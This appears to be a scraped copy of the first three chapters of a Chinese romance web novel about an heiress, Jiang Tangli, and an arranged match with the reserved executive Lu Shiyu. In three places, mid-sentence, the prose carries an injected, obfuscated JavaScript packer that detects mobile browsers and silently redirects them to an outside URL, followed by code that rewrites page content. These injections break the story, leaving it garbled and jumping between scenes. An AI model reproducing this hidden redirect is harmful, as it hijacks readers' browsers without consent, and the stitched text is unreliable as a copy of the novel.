《心动难捱[先婚后爱]》 1. 第 1 章 文/郁七月 晋江文学城独家发表 - 殷红正艳的夕阳将天边扯出大片的红金。 金箔飘落的端景墙对面,江棠梨歪坐在沙发里,面对父亲的絮叨,她又拿出左耳朵进右耳朵出的架势。 看出她的心不在焉,江祈年不禁沉下脸:“跟你说话呢,你有没有在听?” 江棠梨这才抬起脸,湿漉清亮的一双眼,含着几分敷衍的笑意:“听着呢。” “那你把我上一句说的重复一遍——” “继续像现在这样,无所事事?” 复述得一字不差。 江祈年无奈叹气:“年前跟你提的婚事,你考虑的怎么样了?” 就知道今天这顿数落自有他的深意。 不过江棠梨早就练就了虚心接受屡教不改的态度。 江棠梨垂下眼:“最近酒吧忙得很,哪有时间考虑——” “还好意思提酒吧,”江祈年沉声打断她:“你说你一个姑娘家家的,整天在那鱼龙混杂的地方,要不是你二哥派人二十四小时地保护你,你说你得吃多少的亏?” 眼看她嘴角往下撇,江祈年咬牙重了几分语气:“就该找个人管管你!” 找个人管她? 能管得住她的人怕是还没有出生吧! 江棠梨瞥一眼父亲那‘恨铁不成钢’里又夹杂的意味深长。 懂了,这是为下文做铺垫呢。 “说吧,都有哪些入了您的法眼了?” 江祈年清了清嗓子:“一个是盛远科技的盛辉野。” 这人江棠梨见过几次,一个吊儿郎当的二世祖,不务正业也就算了,头顶还有三个嚣张跋扈的姐姐。 江棠梨嗤出一声笑来:“您可真是好眼光。” 说完,她翻页似的把手一挥:“下一个。” “茂远银行郑行长家的——” “你说竟飞?”江棠梨意外到打断他。 江祈年点头:“你俩打小就认识,知根知底——” 江棠梨都听笑了,“您能别乱点鸳鸯谱吗,我一直把他当弟弟的。” 江祈年皱眉:“什么弟弟,人家比你还大两岁呢!” “年龄大有什么用,他就是一幼稚鬼,您到底是给我找老公还是给我找一弟呢?” 就知道这个女儿没有这么好对付,江祈年庆幸自己临时改了主意。 “这两人你如果都不满意,那就只剩一个天都地产的王赞了。” “王赞?” 江棠梨在记忆里搜了几秒,蓦地,她眉梢一抬:“你说王住持?” 江祈年眉心深拧:“什么王住持?” “圈里人都这么喊他,”江棠梨指了指头顶:“聪明的都不剩几根了。” “......” 江祈年差点被她说的笑出声来,关于人家的头发,江祈年反驳不了:“王赞的长相的确老成了些,不过他今年的确也才三十出头。” “三十出头?”江棠梨那双盈亮剔透的眸子忍不住往上翻:“看着还不如你年轻呢!” 被女儿夸了一嘴,江祈年鼻息淡出一声笑意,但是又被他一声“咳”给止住。 江祈年再次沉下脸:“这个也不行,那个也不行,周围就这几个和你适龄的——” 一直沉默不语的周温乔晃了晃老公的胳膊:“陆家——” “哦对,”江祈年像是刚想起来一般:“还有陆时聿。” “陆时聿?” 周温乔看向女儿:“是陆盛集团的陆时聿,正月初五那天,爸爸不是带你参加过一场晚宴吗,当时他也在,还记得吗?” 江棠梨脑海里渐渐浮现出一张看似温和却又蕴藏着锋利的眼。 本来那晚她没关注的,奈何那人一出现就成了宴会的焦点,耳边全是有关他的窃窃私语,说他性格温和秉性佳,待人绅士又有礼。 但是落在江棠梨眼里,那人只有一身生人勿近的冷。 于是她悄眼瞄过去,刚好看见两个打扮妖娆的女人走过去,结果却见那人后退一步与对方保持开半臂远的距离,面无表情地不知说了句什么,两个女人莞笑转身。经过她身边时,刚好听见两人掩嘴说着“和传闻里一样自律”的话。 一张脸写满了「女人别碰我」叫自律? 这叫不近人情好吗? 虽说长相出众,但那从骨子里透出的凛冽冷感,让江棠梨很不喜欢。 江棠梨目光在对面父母脸上来回穿梭:“没了?” 江祈年双眼盛了几许薄怒:“你当是批发呢?” 江棠梨脑海里再次浮现出刚刚那四个男人的脸。 她轻哼出一声嗔音:“没一个靠谱的,不是家庭成员不行,就是幼稚鬼,还有一个又老又丑的。” 三个总结分别都能对号入座,唯独没有说陆时聿的不是。 知道女儿是个看重颜值的,周温乔心里了然:“那陆时聿呢,他是陆家独子,年纪虽然比你大几岁,但他的长相可是没得说的。” 长相是没得说,可是一想起那人一身的冷肃,江棠梨就失了兴趣。 “我不喜欢闷葫芦。”她一烦闷就喜欢用手指缠着头发。 周温乔看了眼她的小动作,从沙发里起身坐到女儿身边。 “寡言可不是闷葫芦,陆时聿这个人,无论是人品和教养,那可都是一等一的。” 江棠梨皱眉:“可我今年才二十四,你们干嘛这么着急把我嫁出去?” “你也知道自己二十四岁了呀。” 周温乔对这个女儿温柔却不似老公那般溺爱。 “都二十四岁了,却一个男朋友都不谈,但凡你有一个交往的对象,我和你爸爸也不会插手你的感情,再说了,给你张罗婚事,也不是让你马上结婚,你先处着看看,觉得合适就继续,不合适咱们也不勉强,好不好?” 目光在父母脸上梭巡了两个来回后,江棠梨眉心不展:“必须在刚刚那四个人里选吗?” “不是必须,但是周围未婚且和你适龄的就这么几个人,难不成你还想下嫁啊,那你爸爸可舍不得。” 生在这样的家庭,‘门当户对’这四个字犹如真理。 跨越阶层的爱情,存在,但跨越阶层的幸福并不多。 所以她从不奢望,可是那四个人...... 江棠梨一时拿不定主意:“你们让我好好想想。” “想多久——” 周温乔一个眼神打断了老公的话。 她拍了拍女儿的手背:“不急,晚上张阿姨做了你爱吃的红酒炖安康鱼。” 江棠梨“哦”了声起身:“再加一份黑森林。” 走到楼梯口,她又想起来:“别忘了多撒点樱桃冰霜。” 把女儿送到楼梯转角,周温乔回坐到江祈年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123916|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边:“你不是说只有一个陆家吗,怎么又突然多出了另外三个?” “你闺女什么性子你还不了解,”江祈年笑出意味深长:“不多给她几个让她有对比,她哪知道好坏?” 周温乔无奈摇头:“陆老爷子要是知道你拿那几位和他孙子比,估计要数落你的不是了。” 说到这儿,周温乔似有不解:“陆老爷子也就见过梨梨一次吧,怎么就突然跟你提出这门婚事了?” 江祈年略有感慨:“虽说咱们梨梨任性了些,可她那耿直的性子,你别说,是真讨老一辈的喜欢。” 周温乔却不乐观:“可梨梨嫁的是陆时聿,归根结底,要他们俩对彼此满意才行。” “如果我告诉你,陆时聿不仅没有反对,甚至还当着老爷子的面,说对梨梨的印象不错呢?” 周温乔愣了一下:“他也就初五那天晚上见过梨梨一次吧,我记得他俩都没说过话。” 何来的印象不错? 难道仅仅是外貌分? 可陆家那位,可从来都不是个只看脸的角儿。 周温乔意有所思的目光,看向楼梯方向。 顺着木质扶梯的曲度,水滴吊灯悬贯五层的楼高。 江棠梨住在三楼。 配色素雅的廊道两侧,一侧陈列着各种昂贵拍品,另外一侧陈放着各种黑胶唱片。 走过十多米长的廊道,再打开厚重的双扇实木门,才是江棠梨的私人小天地。 女孩的房间,总是处处透着粉嫩的花香,烟水晶玛瑙吊灯,渐进色的地毯,一路延伸至内卧,而后被卫生间的四叶草玉石拼接地砖而隔开。 临窗是一个椭形的浴缸,正对着一整面被南海天然珍珠贝母贴成的羽毛纹样的墙面。 撒满玫瑰花瓣的水面刚好漫过一双釉白肩膀。 在楼下还满是忧愁的一张脸,这会儿,被水泡得闲适又惬意。 但是随着手机话筒里传来的消息,江棠梨眉心一拧:“你开什么玩笑,他都三十的人了,你跟我说他没谈过女朋友?” 电话那头是江棠梨的闺蜜方以柠。 “他不近女色是出了名的,这有什么好惊讶的。” 江棠梨嗤出一声冷笑:“对外声称自己不近女色,谁知道他私下里是不是个色胚?” 隔着手机,江棠梨看不见方以柠不可置信的表情。 “拜托,你是不是对他有什么误解啊,他在圈子里的名声可不是一般的好。” 江棠梨想翻白眼:“真要是这么好,会到现在还不结婚?” “我的祖宗,他们陆家的产业,不用我跟你多说吧,医疗、地产、酒店、珠宝、生物科技,他一个人管理着整个陆盛集团,这种人哪有时间谈情说爱啊!” 喋喋不休的一长串话里,江棠梨所有的注意力都放在了「忙」这个字上。 这么忙,那岂不是没有多余的时间管她? “哗啦”一道水声里,江棠梨踩出浴缸裹上浴袍。 脚底的水渍在玉石地砖上留下一串湿脚印,而后又被客厅的羊绒地毯吸干。 江棠梨赤着她那双羊脂白玉的小脚一路跑下楼梯,“daddy!” 她一激动就爱这么喊江祈年。 周温乔快步到楼梯口,朝她“嘘”出一声:“爸爸在打——” 但是没能挡住江棠梨的兴奋声:“陆时聿,那个陆时聿,我要了!” 2. 第 2 章 脆甜的声音从楼梯口传来,响在安静的客厅。 江祈年下意识捂住了手机话筒,转过身来,见女儿裹着浴袍站在楼梯台阶上,他眉心倏地一拧。 周温乔赶在他出声前搂住江棠梨的肩转身。 “怎么穿成这样就跑下来了?” 江棠梨现在满脑子都是那位忙到天昏地暗日后没有时间管她的未来老公身上,她抱住周温乔的胳膊,在台阶上蹦跶了一下:“我想好了,就那个陆时聿,我要他!” 周温乔下意识伸手捂在她唇上:“小点声。” 说完,她回头看去,见江祈年背身往玄关方向走,周温乔这才放下手来。 刚刚女儿声音那么脆亮,不知那人听见了没有。 周温乔领着她往楼上去:“这才多一会儿就改变主意了?” “我只说想一想,没有改主意啊。” 可是短短时间里,她怎么就有如此大的决心。 周温乔将她浴袍领口往中间拢紧,“那妈妈可以问一问理由吗?” 因为那个人忙得没有时间管她呀! 不过这么真实的理由怎能说出来。 “不是你说的,人品是一等一的好吗?” 周温乔探究的眼神定在她那双笑起来能融了冬的杏眸里,“只是因为这样?” “这还不够吗?”江棠梨歪着脑袋,故作一脸无辜:“这样好的条件,我若是不抓紧,岂不是被别人抢了去?” 她眼里有冲动,可话里又不乏深思熟虑后的笃定。 可是女儿对异性的喜好,周温乔还是了解的。 她喜欢帅的、浪漫的、有趣的、可以讨她欢心的,可是陆家那位,不论是传闻还是事实,除了长相之外,没有一处能正中她的喜好,甚至可以说和她的喜好背道而驰。 所以女儿到底看上了他什么? 不会是背景和金钱,因为他们江家从来都不缺这些。 就只是那张脸吗? 明明这桩婚事是目前又或者未来最好的选择,可女儿真的这么爽快答应了,周温乔心里突然有点不是滋味。 二十四岁的年纪,其实真的不用那么早嫁人—— “妈妈,你怎么了?” 周温乔恍然收回神识,“没什么,”她笑了笑:“先上去把衣服穿好。” 江棠梨不是看不出她牵强的笑,还有担忧的表情。 可是这个男人是父母相中的,可为什么她答应了,妈妈却没有一丝高兴的迹象? 难道说,这里面有什么她不知道的隐情? 回到楼上,江棠梨又把电话打给了方以柠。 三层楼梯让她想到了一个可能性:“你说,我爸妈会不会是因为生意才把我送给陆家?” 她用的是「送」这个字。 但是方以柠是个大大咧咧的性子,没注意到她的咬文嚼字,她“哎呀”一声:“只要是嫁给陆时聿,你管那么多呢!” 见她不出声,方以柠叹气:“你知道外面多少人挤破了脑袋想嫁给他吗,你信我的没错,他人品真的好到没话说。” 偏偏江棠梨是个逆反的性子,别人越是说那样东西好,她越是不信。 她“哼”了声:“说的好像你多了解他似的,在这之前,我怎么从来没在你嘴里听说过他?” 方以柠可是个八卦通,但凡让她看见个不错的男人,都能被她念叨来念叨去,唯独这个陆时聿,从来不在她的调侃之内。 但是方以柠给的解释是—— “我倒是想说他,可他也得有东西让我说呀,他一个片叶不沾身的,难不成说他的生意经给你听啊?” 本来还想让这个闺蜜给她分析分析原因,现在看来,俨然成了敌方阵营里的了。 挂了电话,江棠梨在落地窗前转悠来转悠去。 两束车灯从楼下一晃而过后,江棠梨双脚止住,而后就以迅雷不及掩耳之势往外跑。 跑到二楼时,刚好周温乔从房间里出来。 “妈妈,刚刚是不是爸爸出去了?” 见妈妈点头,江棠梨又追问:“那他去哪儿了?” 周温乔慢了半拍才回答说:“他晚上有应酬。” 应酬? 可是近几年,除了一些特别重要的,且需要一家人出席的晚宴之外,爸爸已经不会再出去应酬了。 江棠梨从母亲刚刚躲闪的眼神里看出了端倪。 “是公司里的事吗?” 周温乔象征性地点了点头:“应该是。”说完,她岔开话题:“晚饭应该快好了,我们去楼下看看。” 刚到餐厅,江璟沐回来了。 “二哥!” 江璟沐一把接住扑过来的妹妹,还没来及开口,就听—— “你知道爸爸去哪了吗?” 声音压得这么低,江璟沐低头看她:“怎么这么偷偷摸摸的?” 平时一向对自己嬉皮笑脸的人,这会儿眉心皱着,小嘴瘪着,一股气恼的劲儿。 “问你呢,爸爸到底去哪了?” 江璟沐偏了偏脸:“和大哥出去吃饭了。” 带大哥却不带二哥? 是觉得二哥和自己最为亲近,怕他知道会给她通风报信? 一定是! 江棠梨在心里“哼”了一声,又问:“那你知道对方是谁吗?” “我只听王特助说是在翡盛酒店,对方是谁......”江璟沐耸了耸肩:“我就不知道了。” 翡盛酒店不就是陆家旗下的? 还真是被她猜对了。 背着她和最疼她爱她的二哥,去和陆家秘密商谈公事之余,再顺道把她的婚事提上日程。 她可好,还兴冲冲地觉得自己捡了多大一便宜呢。 江棠梨身子一转,跑过客厅时,周温乔端着撒着樱桃冰霜的黑森林蛋糕喊她:“梨梨,蛋糕好了——” 江棠梨双脚一停,满腹怒气,可到底又被那蛋糕垂涎出了口水。 但是没什么比她现在过去逮人更重要的。 江棠梨小跑到周温乔身前接过她手里的蛋糕:“晚饭你们别喊我了,我今晚吃这个就行了。” 周温乔回头看向江璟沐,眼神询问里,江璟沐眉梢一挑,给了母亲一记「我什么都不知道,您别问我」的眼神。 半个小时后,江棠梨从楼上下来了。 头戴撞色字母冷帽,帽子上还卡着以备不时之需的墨镜,身穿出自方以柠工作室设计的黑色皮草外套,腿上是一条紧身黑裤。 一身黑色,恨不得要和外头的夜色融为一体。 周温乔上下打量着她,一时结舌:“...怎么穿成这样了?” “我去酒吧看看。” 平时去酒吧都需要二哥给她打掩护,今天本着做贼不心虚的态度,她就这么堂而皇之地说了出来。 周温乔从沙发里起身:“爸爸一会儿就回来了,让他知道又要说你了。” “知道就知道呗,”说着,江棠梨意有所指地看向周温乔:“不做亏心事,不怕鬼敲门!” 说完,她风似的跑到玄关,从鞋柜里找出一双黑色马丁靴套上,“走了。” 江棠梨有两辆跑车,一粉一红,但是这两种颜色太粉嫩,不适合她今晚兴师问罪的气势,所以出门前,她拿走了爸爸新买不过半月的黑色古斯特车钥匙。 二月的晚上,冬寒尚在。 江棠梨却满腔热火,不是被车厢里的暖气烘的,而是被脑海里的画面气的。 怎能不气。 她因为舍不得嫁人在房间里抹眼泪,可爸爸和大哥呢,却拿着她和陆家做生意交换。 想到这,握着方向盘的两只小手都崩出了青筋血脉。 一脚油门,车子顿时加速驰骋。 翡盛酒店是个拥有私人花园的高奢酒店,一百零九层高,能俯瞰京市最繁华的夜景。 八点多,交通拥堵,路上费了不少的时间,江棠梨开车驶入酒店入口的时候,载着江祈年和江璟烨的黑色宾利也刚好从十多米远的出口驶出。 江棠梨开着车在地上停车场转了一圈后没看见熟悉的车牌。再回来,刚好一辆红旗国礼从她车后超了出来。 作为国内豪车天花板,江棠梨不禁多看了两眼。 随着车在高挑的金色柱廊下停稳,江棠梨眸光一顿。 是那个姓陆的? 隔着距离,江棠梨不太确定,但随着油门轻踩,距离越来越近,映在她瞳孔里的人脸也越来越清晰。 果然是他。 流动的金色光波下,男人一身深色西装,正扶着一位老者走向那辆红旗后座。 江棠梨目光定在他脸上。 耳鬓两侧的头发似乎比上次修得短了些,但更显轮廓线硬朗。 江棠梨撇着嘴角,心里不由腹诽着:扶着自己的爷爷还端着一张俊冷的脸,给谁看! 眼看车门关上,又见他抬手挥了挥,江棠梨忙把戴在冷帽上的墨镜往下一卡。 暗色的视线里,江棠梨看见一辆黑色幻影停在他面前。 见他上了车,江棠梨才将墨镜重新推到冷帽上,瞥了眼车牌,数字比他爸经常坐的那辆还要嚣张。 也难怪,毕竟陆盛集团的实力比他们江腾实业要雄厚得多。 想到这,江棠梨又重重“哼”出一声。 不在她们家之上,她的老父亲至于把她卖了吗? 眼看车子绕着椭型花园似要驶向出口,江棠梨脚下油门一踩,跟了上去。 陆时聿今晚喝了些酒,上车没多时,他便靠着后座闭上了眼。 车厢光线昏暗,五光十色的霓虹像细碎的剪影,将他的脸部轮廓深陷于阴影与光辉交错间。 一声“陆总”从主驾驶传来。 陆时聿眉心微蹙。 秘书陈敬也是犹豫再三才开口,“一辆古斯特从出酒店开始就一直跟着我们。” 陆时聿这才轻掀眼皮,漆黑的双瞳往外轻瞥,少寡冷漠的疏离感尽显在他脸上。 “古斯特?” “对,”陈敬又瞥一眼后视镜:“车牌88J69,我记得上周江总坐过这辆车。” 陆时聿回头往后看了眼,灯束在他黑色的眸子里熠出光,他回过头,一阵沉默后,他掏出手机,拨通电话。 “江总,刚刚忘记把送给江小姐的礼物给您了,我现在过去一趟吧......您客气了,不麻烦。” 很简短的几句,电话挂断,陆时聿看向前方,淡声开口:“去欧菲庄园。” 欧菲庄园是彰于繁华市区的一处豪宅,也是江棠梨的家。 越走越熟悉的道路,却因为所有的注意力都集中在前面那辆黑色幻影的车屁股而没有让江棠梨察觉出异常。 随着前车闪出右转指示灯,江棠梨车速放慢,目光偏开,一对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车窗上贴着一层黑膜,陆时聿只能看见车厢里的五颜六色的LED灯线以及橙色星空顶落下的一片星点斑驳。 他是看不见她的脸,可是车里的她,应该可以将他一眼看尽,可却不落窗,更不下车。 陆时聿抬起手,弯曲的指骨轻叩在玻璃上。 闷出的声响,让江棠梨恍然回神。 手刚想打开门,又被她落了回来。 这么开门下车,岂不是显得她很迫切? 想到这,江棠梨索性落下车窗。 他身量很高,这么往外看,根本看不见他的脸。 江棠梨把脑袋往窗边一低,露出了自己巴掌大的鹅蛋脸。 挺翘的鼻子,嫣红的唇,一张脸还带着奶甜的稚气。 特别是看向自己的眼神,露着一种不谙世事的天真,像...... 黎明初生的晨露。 和上次在宴会上看到的她,略有不同。 陆时聿目光无波无澜地停在她脸上,刚要开口—— “你是?” 出乎意料的两个字,让陆时聿眉心微微一蹙。 跟了他一路,这会儿却又装作不认识他。 耳边响起傍晚从话筒听到的那句:陆时聿,那个陆时聿,我要了。 陆时聿垂眸失笑。 一身的冷冽之气都被他嘴角弯出的淡淡笑痕而压了下去。 好看,但更多的是刺眼。 江棠梨漂亮的眉眼一沉,“笑什么笑!” 声音很凶,像是奶猫的爪子。 陆时聿压下嘴角那一弯笑痕:“江小姐不下车吗?” 声音淡得像一缕烟,可响在这寂静的夜,又像是被砂纸磨过,低沉...... 江棠梨将后面的「磁性」抹了去。 车门打开,一个低头,冷帽上的墨镜卡了下来,江棠梨忙又给推了上去。 小小的一个动作,让陆时聿嘴角又往上轻轻一滑。 当然,这有失礼貌。 所以他将嘴角的弧度平下去的时候,也递出了手里的白色礼袋。 “一点小礼物。” 是个植绒礼袋,袋子外没有任何logo,看不出里面装的是什么。 不过收礼物收惯了,江棠梨也没有客气。 有什么好客气的,都能拿她作为利益交换,收他一点小礼物又算什么。 “谢谢。”她口气略有敷衍,接到手后,便没有看第二眼。 视线重新落到他脸上,江棠梨又拾回那句:“你还没说你叫什么。” 礼物都收下了,又反过来问他名字。 不知这算不算是外界所说的大小姐脾气,若是,那这脾气发的倒是含蓄了。 也好,若是脾气大了,他还真不知道怎么哄。 从未哄过人,也没有哄人经验的陆时聿,目光不转地接住她眼里的探究,以及那丝毫不藏着的排斥之色。 “陆时聿。”他淡声回道。 只是没想到,对面这姑娘在听到这三个字后,嘴角勾出几分嗤笑,还说:“哪个陆时聿?” 原来她的小脾气不大,却是不依不饶的。 陆时聿唇角微微上掀:“就是傍晚时分,江小姐说自己要的那个人。” 3. 第 3 章 江棠梨一时愣住。 傍晚? 她说自己要的那个人? 眼睫无辜眨了两下后,江棠梨瞳孔一缩。 当时和爸爸在窗前通电话的是他? 江棠梨面色一窘,但是很快,她眉心就卷了起来。 他说这话是什么意思? 因为她的明知故问,所以有意拆穿? 想到外界对他的种种优质评价,江棠梨气笑一声。 这就是脾气好,秉性佳,温文尔雅? 外人眼里的陆时聿的确是一块温玉,因为他看人时,表情虽淡,但嘴角总会带着礼貌笑痕,这才给人一种他脾气很好的印象,不过他脾气究竟好与不好,从来都不曾有人真的知道,因为不会有人越矩试探,更别说有人出言忤逆。 陆时聿垂眸看她。 他生了一双很精致的桃花眼,却遮不住他一身生人勿近的冷,即便他是笑着的。 “时候不早了,江小姐早些回家吧。” 说完,他双脚一转,踩着不紧不慢的步调上了车。 透亮的车尾灯一点一点消失在江棠梨的视线里,也勾出了她反应慢半拍的怒气。 手里的白色礼袋往远处用力一扔,转身间,江棠梨又觉不解气,一步一跺脚地走过去后,又踩了几脚。 再回来,刷脸入户的大门,被她指尖一连几下地戳在门铃上。 室内门铃声叠起,张阿姨小跑到了玄关,看见视频里的人,忙摁下开锁键。 周温乔走过来:“是陆总吗?” 张阿姨摇头说不是:“是小姐。” 见女儿杵在门口不进来,周温乔喊了声:“梨梨,进来啊。” 江祈年走过来,见屏幕里苦着的那张小脸,眉心一蹙:“怎么了这是?” 周温乔也有疑惑:“我出去看看。” 门口,江棠梨又气又恼,随着门缝渐开,她那张桀骜不驯的小脸往旁边一偏。 见状,周温乔第一时间拉住她手:“怎么了?” 江祈年慢了两步到门口,盯着女儿那噘着老高的嘴唇,“怎么气成这样?谁惹我们家宝贝了?” 被气恼压着的委屈,瞬间被父母的这两声关切勾了出来。 江棠梨手往后一指:“那个姓陆的,”她嘴角一撇,眼里顿时蒙上一层雾气:“他欺负人!” 三十年来,从未欺负过女人的陆时聿,眉心渐锁。 “我刚刚是不是有点过分了?” 秘书陈敬看了眼后视镜,一时有点分不清后座的人是自言自语,还是在问他。 可就算是问他,刚刚他坐在车里,车窗紧闭,他也不知外面到底说了些什么,唯一知道的就是,从未送过异性礼物的陆总把昨天刚拍下来的一块冷玉送了出去,不止,还有一个他也不知里面装了什么的首饰盒。 “陆总——” “算了。” 仰头后靠间,陆时聿闭上眼:“准备些礼物,这个周末,你跟江总约个时间,我登门致歉。” “好的。” 满园春色,柔和了窗外的孤冷月色,却盖不住江棠梨响彻客厅的委屈和指责。 可是江祈年和周温乔听了半天却没听出个所以然。 只听女儿忿忿扔下一句结束语—— “这就是你们给我找的好老公,还绅士呢,狗屁!” 江祈年被她最后的两个字听得皱眉:“你这孩子,怎么说话呢。” “我说错了吗?” 当众弄她难堪,算哪门子的绅士? 长这么大没受过这种委屈,人生第一次吃瘪,竟然还栽在了一个男人手里。 想到他说那句话时风轻云淡的表情,心里怕是不知怎么笑话她上杆子呢! 行,既然这样,那她非要狠狠打他的脸才行。 “我下午不是说我要嫁给他吗,”江棠梨抬着下巴:“现在我要收回那句话!” 周温乔拉住她手腕:“梨梨,咱可不许赌气。” 她就是赌气,反正嫁谁不是嫁。 江棠梨冷哼一声:“我不仅不会嫁给他,我还会让所有人都知道,我就是嫁给那没几根毛的王赞都不会嫁给他!” 江祈年压着眉眼看她:“不想嫁就不嫁,他们算什么东西,至于你拿自己的婚姻大事开玩笑?” 所有的怨气都被爸爸的那句「他们算什么东西」给平了下去。 江棠梨心里偷乐,面上却拿乔:“人不都是你给我选的吗?” “这是选择题,但不是必选题。” 说完,江祈年往沙发睇了眼:“看看里面什么东西,没摔坏的话,我让人明天还回去。” 周温乔从礼袋里拿出一个白色的羊皮方盒,打开,是一块未经雕琢的椭形羊脂白玉。 江棠梨勾头看了眼,嘴角撇出嫌弃:“连个花样都没有。” 周温乔笑了笑,将盖子盖上:“没坏,回头我让人重新找个礼袋就好。” 江棠梨看着白色礼袋上留下的灰脚印,眉心渐拧:“不对。” 周温乔扭头看她:“什么不对?” 江棠梨转了转眸子:“他给我的时候,我记得里面还有一个深色的盒子。” 周温乔往礼袋里多看了眼:“没有呀——” 江祈年抱着的双臂渐渐放下:“让你给捡回来的时候——” 不等他话说完,江棠梨就趿拉着她的长耳朵毛绒拖鞋往外跑。 果然,一出大门,就看见不远处的地上躺着一个长方形的深色礼盒。 拂掉上面沾到的灰尘,江棠梨忙打开盒子查看。 见多了各种昂贵的珠宝首饰,但打开的那一瞬还是让她眸光亮了一下。 是一条“珠宝领”项链,钻石铺镶的主链构成两只天鹅交颈造型,再以两颗小小的粉钻作为天鹅的眼睛,而这条项链最昂贵之处就是从中间垂下的一颗水滴形钻石。 如今,那足足十克拉之多的水滴形钻石却陨在盒子最下方。 江棠梨傻眼了。 第一反应就是捧起盒子往家跑。 她的确是不够小心,急匆匆地跑到客厅,把盒子从怀里拿开的时候,项链直直掉了下去。 这下好了,即便脚下是羊绒地毯,主链外的三条镶满钻石的羽毛型辅链也断了一条。 客厅里突然安静到针落可闻。 江棠梨看了眼周温乔,又顺着她视线看向江祈年:“...爸爸,我是不是,是不是非嫁不可了?” 她知道这条项链大概值多少钱,虽然对她们家来说不算什么,可因为自己的不小心平白无故损失大几千万...... 周温乔忙擦掉她夺眶而出的眼泪,“没事的,一条项链而已,爸爸会处理好的。” 闯了大祸,却成了被安抚的一方。 江棠梨心里愧疚难挡,她吸了吸鼻子,“大不了我就嫁嘛!” 江祈年看着她那委委屈屈的小表情。 “因为一条项链就把你嫁过去?”江祈年失笑一声:“你当爸爸卖女儿呢?” 不是吗? 有没有今晚这事,她不也是被当成交换的物品被‘卖’到陆家? 可是之前所有的不甘心不服气都变成了愧疚,本来还想着质问爸爸的,现在她哪里还说得出口。 回到楼上,江棠梨把脸埋在枕头里,满腹不能明说的委屈一阵阵席卷着她。 江璟沐来敲门的时候,江棠梨脸上的妆都哭花了。 “怎、怎么哭成这样了?” 江棠梨嘴一瘪,扑到江璟沐怀里:“二哥,我闯祸了。” 上来之前,江璟沐在楼下听父母说了一些大概,只是没想到从当事人嘴里听到了些不一样的。 “所以那会儿你出去不是去酒吧,而是去翡盛酒店了?” 江棠梨点了点头:“但是我没看见爸爸。” 江璟沐气笑一声:“你要是看见了呢,还真打算上去一通质问?” 江棠梨哭得眼眶通红,“他都能把我卖、卖了,”她打了个哭嗝:“我还不能问两句了?” 江璟沐抽出纸巾给她擦了擦眼泪。 “你可真会想,爸爸就算把我们哥俩卖了,也舍不得卖你啊,从小到大,他可是把你捧手心里疼着的。” 江棠梨湿着一双眼睫看他:“那你可错了,他不仅会把我卖了,说不好还会卖个好价钱呢!” 江璟沐听出了端倪,“你该不会以为爸是在拿你的婚事和陆家人交换吧?” “难道不是吗——” 在她反声质问的尾音里,轻微的脚步声从门口递进来。 江璟沐回头:“大哥。” 相比在二哥江璟沐面前的肆无忌惮,江棠梨对这个大哥江璟烨敬畏更多一点。 她吸了吸鼻子,声音瞬间低了下去:“大哥。” 江璟烨站在床尾一米远,看着妹妹那哭红了的眼睛、额头,还有鼻尖。 有心疼有不忍,也有对她这一身难驯的公主脾气的无奈。 “听爸说,他弄你难堪了?” 没想到自己受了欺负,全家人都坚定地站在了自己这边。 江棠梨眼里揉尽委屈,下巴重重一点:“嗯。” “无缘无故让你难堪?” 江棠梨这才发现大哥眼里有着浓浓的审视,她茫然地眨了眨眼。 江璟烨太了解这个妹妹了,别人让她难堪一分,她能十分还回去。 重点是,陆时聿那样一个温和谦逊,礼数周全的人,别说弄女孩子难堪了,话都不会和异性多说两句。所以这事只有两个可能, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123918|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要么是这个妹妹排斥这门婚事,胡编。要么就是她说了什么话惹得陆时聿不悦,对方语气重了些。 就妹妹这个骄纵的公主脾气,江璟烨觉得大概率是第二种。 “那你呢,有没有说什么不合礼数的话?” 被大哥一语戳穿,江棠梨揪着枕头边蕾丝的动作一停。 “说话。” 冷冰冰的两个字,让江棠梨两只肩膀微微一提:“也,也没说什么......” 那就是说了。 江璟烨不给她编故事找理由的时间,追问:“没说什么是说了什么?” 江棠梨刚一抬惨戚戚的求救眼神—— “别看你二哥。” 江棠梨委屈地直咬唇,湿漉漉的眼睫瞄了江璟烨一眼后瞬间又垂了下去:“我、我就问他叫什么了而已。” “只是这样?” 江棠梨慌得眼眸乱转:“问、问第一遍的时候,他、他笑了,我让他别笑,然后、然后我就问了第二遍,然、然后他就凶我了。” “凶你?”江璟烨不可置信地眯起眼角:“他凶你?” 不是凶吗? 虽然他话里有笑音,可听着就是让人毛骨悚然。 江棠梨下巴一抬:“对,凶我了!” 江璟烨目光停在她脸上,默了会儿,他从口袋里掏出手机。 江棠梨愣了一下后,跪着两只膝盖挪到床尾:“你、你给谁打电话?” 江璟烨瞥她一眼:““当然是要找凶你的人算账。” “不、不用,”江棠梨脸色慌着:“这么晚了,你别、你别打扰人家了。” 「打扰」都用上了。 